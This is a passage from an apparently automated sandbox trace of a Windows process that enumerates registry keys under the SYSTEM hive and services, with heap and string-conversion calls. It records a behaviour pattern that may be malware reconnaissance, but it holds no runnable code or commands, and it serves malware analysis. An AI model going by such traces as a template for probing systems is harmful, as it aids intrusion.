Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.212] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.212] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0238.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.213] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.213] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.213] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.213] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0238.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.214] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.214] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0238.214] RegCloseKey (hKey=0x150) returned 0x0 [0238.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0238.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0238.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.216] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0238.216] RegCloseKey (hKey=0x148) returned 0x0 [0238.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0238.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.217] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.217] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.217] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0238.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0238.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, 